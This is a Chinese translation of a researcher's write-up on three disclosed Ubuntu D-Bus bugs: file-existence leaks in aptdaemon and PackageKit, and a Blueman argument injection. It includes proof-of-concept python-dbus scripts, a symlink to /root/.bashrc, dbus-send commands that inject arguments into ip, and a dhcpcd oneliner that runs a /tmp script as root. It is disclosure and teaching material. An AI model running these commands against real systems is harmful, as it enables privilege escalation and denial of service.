Ubuntu Desktop D-Bus协议漏洞分析

  • A+

译文声明
本文是翻译文章,文章原作者Vaisha Bernard,文章来源:https://www.eyecontrol.nl
原文地址:https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html

译文仅供参考,具体内容表达以及含义以原文为准

引言

当我休息了一段时间后,我决定在我安装的Ubuntu桌面中寻找一些bug。我的目标是D-Bus接口。

D-Bus(桌面总线)是一种进程间通信(IPC)和远程过程调用(RPC)机制,它允许在同一台机器上并发运行的多个进程之间进行通信。现在许多Linux发行版都在使用它。

在Linux桌面环境中,我们有一个单独的系统总线,用于用户进程和系统进程之间的通信,对于每个登录会话,我们有一个会话总线,用于单个桌面会话中进程之间的通信。

我的目标是系统总线。系统进程打开一个接口,以便与用户进行通信,这听起来像是一个很棒的切入点!

绕过

我的第一个目标是理解 D-Bus 的语法和用法。有一个优秀的交互式工具叫做D-Feet,它可以使我们的工作更加轻松

dfeet.png

在D-Bus规范中有一个清晰的层次结构。对象是指在D-Bus上公开自己的进程。一个对象可以实现多个接口,而每个接口可以有多个方法。D-Bus使用接口为方法提供命名空间机制。接口还具有属性,这些属性是类型变量,通常可以读取,有时也可以更改。

D-Feet显示了实现的接口和可用的方法。在后台,它使用"org.freedesktop.DBus.Introspectable"接口的内省方法来完成这项工作,该接口由许多对象实现。

除了D-Feet之外,与D-Bus交互的最直接的方式是通过dbus-send shell命令。例如,下一个命令调用"org.freedesktop.DBus"接口上的ListNames方法,并生成D-Feet在左侧显示的列表。
dbus-send --system --print-reply \
--dest=org.freedesktop.DBus \
/org/freedesktop/DBus \
org.freedesktop.DBus.ListNames

对我来说,处理D-Bus方法的多个交互调用的最直观的方法是使用python-dbus模块。用D-Bus方法编写任何交互脚本都很容易。

许多方法都使用PolicyKit进行保护,以确保调用用户具有执行操作的权利。您可能见过这些弹出窗口,它们是由PolicyKit保护的D-Bus方法调用的结果。

polkit.jpg

我最感兴趣的是任何人都可以在不进行身份验证的情况下触发的漏洞,因此我将重点放在没有使用PolicyKit保护的方法上。

Aptdaemon信息公开(CVE-2020-15703)

我发现的第一个bug涉及aptdaemon。在使用D-Feet对"org.apt.debian"对象进行内部检测之后,您将在processlist中注意到一个正在运行的新进程。

/usr/bin/python3 /usr/sbin/aptd

因此aptdaemon是用python写的。这是我可以更深入的研究代码,但这一次我决定省点精力,我只想知道后台发生了什么系统调用,所以我在进程上生成了一个strace。
strace -s 65535 -f -p <PID>
我开始尝试使用一些方法并输入一些无用的信息。其中一个特别有趣的方法是InstallFile方法。它需要两个参数,分别是 安装的包的文件路径一个布尔值 。如果调用该方法,aptdaemon将创建一个名为transaction的D-Bus对象,该对象将公开Simulate()和Run()等新的方法。它还有几个可写的属性,我们可以模拟安装一个".deb"包文件。我编写了一个简单的python脚本来进行实验。

```
import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")

just use any valid .deb file

trans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False)
apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)

apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")

apt_trans_dbus_interface.Simulate()
好吧,这完全没用。实际安装".deb"文件的Run()方法需要授权。但是,在进行测试时,我注意到locale的属性可以进行如下设置。
properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')
properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA")
这将导致以下错误消息。
Traceback (most recent call last):

File "/usr/lib/python3/dist-packages/defer/init.py", line 487, in _inline_callbacks
result = gen.send(result)
File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property
self._set_locale(value)
File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale
(lang, encoding) = locale._parse_localename(str(locale_str))
File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename
raise ValueError('unknown locale: %s' % localename)
ValueError: unknown locale: AAAA
The_parse_localename方法主要检查在区域设置的名称中是否存在"."。下面是调用成功的示例。
properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB")
在测试的过程中,我又在strace的输出中捕捉到了一些有趣的东西。
[pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)
我将值更改为"/tmp.BB",你们猜我发现了什么!
[pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)
```
看起来我可以让它读取任何".mo"格式的区域设置文件。我花了几个小时来反转".mo"格式,现在可以告诉您生成它的".po"格式的所有结构,但我不能让它做任何有趣的事情。

然后我意识到我可以创建一个名为"/tmp/LC_MESSAGES/aptdaemon.mo"的符号链接,并将其指向文件系统上的任何文件。例如"/root/.bashrc"。
ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo
然而这导致了另一个错误。
OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo'
但是它泄露了我不应该知道的信息:文件系统上是否存在任何文件。例如在"/root"中,没有特权的用户不应该能够查看这些文件。一个非常小的bug,但它仍然是一个bug。

PackageKit信息公开(CVE-2020-16121)

我在PackageKit中发现了一个类似的bug。在经过aptdaemon的全部测试后,这个程序会立即弹出。

packagekit对象上的"/org/freedesktop/PackageKit"接口有一个方法CreateTransaction()。该方法将创建一个事务对象,该对象具有InstallFiles()、GetFilesLocal()和GetDetailsLocal()方法。所有方法都有一个文件路径列表作为它们的参数。

同样,这允许我们确定文件系统上是否存在任何文件,但是这次,如果一个文件存在,我们还会得到一个公开MIME类型的错误消息。

一个简单的python脚本演示了这一点。
```
import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])
```
错误消息:不支持MIME类型文本/纯文本。

Blueman本地特权升级或拒绝服务(CVE-2020-15238)

这个bug更有趣一些。利用"org.blueman.Mechanism"的D-Bus方法,我注意到我从来没有被要求授权,这将是一个更有趣的目标。

软件包的开发人员后来证实,Debian软件包确实存在一个问题:它只推荐"policykit-1",但blueman不支持“运行时可选”的Polkit-1支持。您必须在构建期间决定,因为"libpolkit-agent-1-dev"不是构建依赖项,所以Polkit-1支持总是被禁用的。顺便说一句,开发人员十分负责,他立即挑出了这个bug,并立即推出了一个补丁,同时还协调了Ubuntu和Debian安全团队之间的发布日期。

DhcpClient()方法很快引起了我的注意,它需要一个字符串作为参数。让我们看看strace在后台发送了哪些系统调用。我使用这个oneliner启动守护进程,并将一个strace进程附加到它上面,而不用太担心它的活动时间或PID很短。
dbus-send --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.freedesktop.DBus.Introspectable.Introspect && \
strace -f -s 65535 -e execve -p \
$(pgrep -f blueman-mechanism)

然后我开始了我的第一个测试。
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"AAAA"

strace过程有很多输出,但是对"execve"的过滤提供了一个非常有趣的观察结果。
[pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0
[pid 30104] execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0
[pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0
[pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0
[pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0
[pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0

结果很是惊人,有很多执行是在后台进行的。似乎我的参数在被用作dhclient、avahi-autopid和ip的参数。让我们看看我们能做什么。

我深入研究了dhclient手册,看看是否有任何我可以使用的有趣的参数。下面的内容引人注目。
-sf script-file
Path to the network configuration script invoked by dhclient when it gets a lease. If unspecified, the default /sbin/dhclient-script is used. See dhclient-script(8) for a description of
this file.

实际上,如果我以root身份运行命令"dhclient -sf /tmp/eye",dhclient会在后台开始运行,请求一个新的DHCP租约,最后运行shell脚本"/tmp/eye"。让我们看看如果我们用我们的blueman机制方法来尝试会发生什么。

dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"-sf /tmp/eye"

嗯~~~,失败了呢。让我们看看这是为什么。从strace输出中,我们注意到以下内容。
[pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ <unfinished ...>
...
[pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64
...
[pid 30542] sendto(3, "<27>Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p <port>] [-D LL|LLT]\n [--dad-wait-time <seconds>] [--prefix-len-hint <length>]\n [--decline-wait-time <seconds>]\n [--address-prefix-len <length>]\n [-s server-addr] [-cf config-file]\n [-df duid-file] [-lf lease-file]\n [-pf pid-file] [--no-pid] [-e VAR=val]\n [-sf script-file] [interface]*\n dhclient {--version|--help|-h}", 515, MSG_NOSIGNAL, NULL, 0) = 515

dhclient二进制文件有一种非常具体的方法来解析参数,正如我们所看到的那样,"-sf /tmp/eye"参数被解析为一个不存在的单个标志。一些二进制文件允许"-sf=/tmp/eye"或"-sf/tmp/eye",但是dhclient的严格在这里节省了时间,否则这将是一个非常严重的错误。

现在让我们看看是否可以将其注入到ip命令的参数中。
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 down"

dhclient警告,但是执行继续进行。
[pid 30687] sendto(3, "<27>Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100
这里我们看到了对ip命令的注入。这次,我们的参数被分割成多个参数,因此我们可以对ip命令的参数进行更多的测试。
[pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */ <unfinished ...>
有趣的是,这实际上是有效的语法,而且接口保持不变。现在,我们该如何绕过更多的内容呢?
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 down alias"

[pid 30752] sendto(3, "<27>Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached
看!这个错误使dhclient退出,返回不同的代码,并且执行流未到达ip命令。所以我们在这里被限制为15个字符,但ip也接受速记版本,所以al是alias的别名。
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

[pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0
这确实降低了影响,并为ens33创建了一个别名。这是一个DoS漏洞,因为任何低权限用户都可能触发这个漏洞。让我们看看是否可以找到ip命令中其他有趣的参数。

从ip-link手册获悉

```
xdp object | pinned | off
set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level. ip link output will indicate a xdp flag for the networking device. If the driver does not have
native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the
driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one. xdpdrv has the op‐
posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned. xdpdrv also disables hardware
offloads. xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to
be installed specifically in HW/FW of the apater.

          object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a
          XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file
          passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error
          will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is
          passed, then a verifier log will only be dumped on load error.  See also EXAMPLES section for usage examples.

因此,我可以将XDP对象附加到任何接口上,但这需要超过15个字符,怎样才能让它通过验证呢?让我们先重命名接口吧!
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"

dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"
```
搞定!现在我们可以将XDP对象附加到任何接口。我们还可以更深入地研究XDP和eBPF是如何工作的,以及是否存在"可以将一个对象附加到任何接口上"相关的任何安全问题,但这是一个工程量巨大的新项目。如果有任何专家在此方面得到了可执行代码与方法,请务必与我联系!

最后,我发现blueman还支持其他DHCP客户机。来自blueman的代码:
```
COMMANDS = [
["dhclient", "-e", "IF_METRIC=100", "-1"],
["dhcpcd", "-m", "100"],
["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"]
]

for command in self.COMMANDS:
path = have(command[0])
if path:
self._command = [path] + command[1:] + [self._interface]
因此,如果dhclient不可用,但是dhcpcd可用,我们还有另一种方法来获得执行代码。幸运的是(对我们来说),dhcpcd还能够运行脚本,并且在参数格式上没有那么严格。这给我们留下了一个本地特权升级oneliner,让我们可以在任何使用dhcpcd而不是dhclient的Ubuntu或Debian系统上工作。
dbus-send --print-reply --system \
--dest=org.blueman.Mechanism \
/org/blueman/mechanism \
org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"
```
任何没有特权的用户都可以运行这个,并且任何放在"shellscript/tmp/eye"中的代码都以root用户身份运行!

结论

bug无处不在,像hackerone和bugcrowd这样的项目为公司提供了绝佳的机会,通过向安全研究人员提供大量资金来得到项目的漏洞从而加强公司的安全性是一个很有效的办法。但是开源社区也需要我们的帮助。所以,偶尔也为了好玩而不是为了盈利去尝试一下吧。

感谢Ubuntu安全团队和Blueman的开发者Christopher Schramm,感谢他们快速而友好的回应及为解决这些问题而努力进行的工作。